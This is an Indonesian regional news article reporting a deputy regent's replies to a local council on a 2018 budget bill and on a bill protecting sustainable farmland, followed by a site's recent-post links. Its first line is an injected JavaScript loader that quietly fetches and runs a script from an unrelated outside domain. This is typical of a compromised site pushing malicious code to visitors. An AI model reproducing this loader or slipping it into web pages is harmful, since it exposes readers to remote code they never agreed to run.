(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Husairi Abdi: Lahan Terlantar Dijadikan Lahan Produktif


AMUNTAI, Dua buah  Rancangan Peraturan Daerah (Raperda) Kabupaten HSU terkait Raperda pertanggungjawaban pelaksanaan APBD tahun 2018 dan  Raperda tentang perlindungan lahan pertanian pangan berkelanjutan mendapat respon positif ekskutif.

Wabup HSU H Husairi Abdi menyampaikan tanggapan yang disampaikannya kepada para wakil rakyat saat sidang paripurna DPRD HSU, Senin (24/6). Diantaranya, menanggapi pertanyaan fraksi terkait dengan realisasi pendapatan asli daerah tahun 2018 yang hanya mencapai 92,73%, ia menjelaskan secara keseluruhan terealisasi pendapatan daerah untuk tahun anggaran 2018 melampaui target yakni sebesar 102,35%.

Namun, ada kelompok pendapatan asli daerah terealisasi hanya sekitar 92,73% hal ini terjadi karena mendapatkan pada retribusi daerah terealisasi sebesar 91,12% dan pendapatan pada lain-lain pendapatan asli daerah yang sah terealisasi sebesar 85,35%.

Sementara, menanggapi pertanyaan fraksi dewan terkait dengan Raperda tentang perlindungan lahan pertanian pangan berkelanjutan, Husairi mengatakan, saat ini memang belum ada upaya Pemkab HSU menggali fungsi dan lahan konservasi menjadi lahan produktif. Mengingat di wilayah HSU masih banyak terdapat lahan lahan tidur terlantar yang masih bisa dijadikan lahan pertanian produktif.

Sedangkan daerah yang menjadi target utama yang akan diproteksi sebagai perlindungan lahan pertanian pangan berkelanjutan tersebar di 9 kecamatan yang berada pada kawasan budidaya tanaman pangan lahan basah atau lahan lebak.

Sementara terkait dengan lahan pertanian pangan yang sudah dialih fungsi kan baik menjadi areal perumahan ataupun areal usaha.

“Pemerintah daerah berupaya tidak akan melakukan tindakan yang dapat merugikan kelompok masyarakat atau perorangan yang telah mendapat izin penggunaan lahan baik untuk perumahan ataupun usaha lainnya. Apalagi selama ini  area petani yang telah beralih fungsi berada pada lahan lebak watun satu, yaitu tidak termasuk sebagai kawasan lahan pertanian pangan berkelanjutan,” tegasnya. (dew)

Reporter :Dew
Editor :Bie

Desy Arfianty

Recent Posts

Tok! KPU Banjarbaru Sahkan 30 Calon Terpilih Anggota DPRD Kota Banjarbaru, Ini Daftar Lengkapnya

13 Kursi Diisi Pendatang Baru, 17 Petahana Bertahan di Gedung Dewan Read More

3 jam ago

Buka Musrenbang RPJD 2025 – 2045, Ini Harapan Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Musrenbang… Read More

11 jam ago

Mahasiswa Prodi Gizi Belajar Penyelesaian Sengketa Medis di RSD Idaman

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 49 mahasiswa Diploma III Program Studi Gizi Poltekkes Kemenkes Banjarmasin melaksanakan… Read More

13 jam ago

Mahasiswa Minta Perbaikan Gaji Guru Honorer di Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unjuk rasa BEM se Kalimantan Selatan (Kalsel) di depan gedung DPRD Provinsi… Read More

13 jam ago

Mantan Crosser Ramaikan Pilkada Tala, H Iyan Ambil Formulir ke PPP

KANALKALIMANTAN.COM, PELAIHARI - Nama Haji Iriansyah mencuat di bursa Pemilihan Kepala Daerah (Pilkada) 2024 di… Read More

13 jam ago

Pertahankan Gelar, Kabupaten Banjar Juara Umum di MTQ XXXV Kalsel

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar kembali menoreh prestasi membanggakan, yakni menjadi juara umum pada MTQ… Read More

13 jam ago

This website uses cookies.